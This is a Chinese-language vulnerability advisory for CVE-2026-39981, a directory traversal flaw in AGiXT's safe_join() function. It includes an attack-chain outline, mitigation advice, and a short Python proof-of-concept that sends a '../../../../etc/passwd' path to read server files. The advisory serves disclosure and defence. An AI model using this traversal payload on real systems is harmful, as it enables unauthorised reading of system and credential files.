IPBUF安全漏洞报告
English
CVE-2026-39981 CVSS 8.8 高危

CVE-2026-39981 AGiXT目录遍历漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39981
漏洞类型
目录遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AGiXT

相关标签

目录遍历路径穿越AGiXT文件写入CVSS-8.8

漏洞概述

AGiXT是一个动态AI代理自动化平台。在1.9.2版本之前,其essential_abilities扩展中的safe_join()函数存在严重缺陷,未能正确验证解析后的文件路径是否严格保持在指定的代理工作区内。经过身份验证的攻击者可以利用目录遍历序列(如../),绕过安全限制,从而在服务器上执行读取、写入或删除任意文件的操作,对系统安全构成严重威胁。

技术细节

该漏洞的根本原因在于AGiXT项目中`essential_abilities`扩展组件里的`safe_join()`函数未能正确处理路径规范化。该函数设计初衷是为了安全地拼接文件路径,但在实现时未对用户输入的路径参数进行充分的边界检查。当攻击者提供的路径中包含“../”等目录遍历字符时,`safe_join()`未能有效阻止路径跳出原本受限的Agent工作目录。由于该漏洞位于核心功能组件中,且无需管理员权限即可触发(仅需低权限认证),攻击者可以通过发送特制的HTTP请求,利用该漏洞读取服务器上的敏感配置信息(如数据库凭证、API密钥),或写入Webshell以获取服务器控制权,甚至删除系统关键文件导致拒绝服务。这种未经过滤的文件操作使得整个服务器环境处于危险之中,严重影响系统的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是存在漏洞的AGiXT版本(< 1.9.2)。
STEP 2
初始访问
攻击者获取一个低权限的账户凭证,成功登录到AGiXT平台。
STEP 3
漏洞利用
攻击者向essential_abilities扩展接口发送特制请求,在路径参数中注入'../'等目录遍历序列。
STEP 4
载荷执行
由于safe_join()函数验证失效,服务器解析路径至预期工作区之外的位置(如/etc/passwd)。
STEP 5
影响实现
攻击者成功读取、写入或删除服务器上的任意文件,可能导致服务器被完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-39981 # This script demonstrates the directory traversal vulnerability in AGiXT. # An authenticated attacker can read arbitrary files on the server. import requests # Configuration target_url = "http://localhost:7437/api/agent/ability" # Example endpoint auth_token = "YOUR_LOW_PRIVILEGED_AUTH_TOKEN" agent_id = "TARGET_AGENT_ID" # The vulnerable ability uses safe_join() improperly # We use '../' to traverse out of the workspace malicious_path = "../../../../etc/passwd" payload = { "ability_name": "read_file", # Hypothetical ability triggering safe_join "path": malicious_path } headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

AGiXT < 1.9.2

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应严格限制网络访问权限,仅允许可信IP访问AGiXT管理接口,并密切监控系统日志中是否存在异常的文件访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表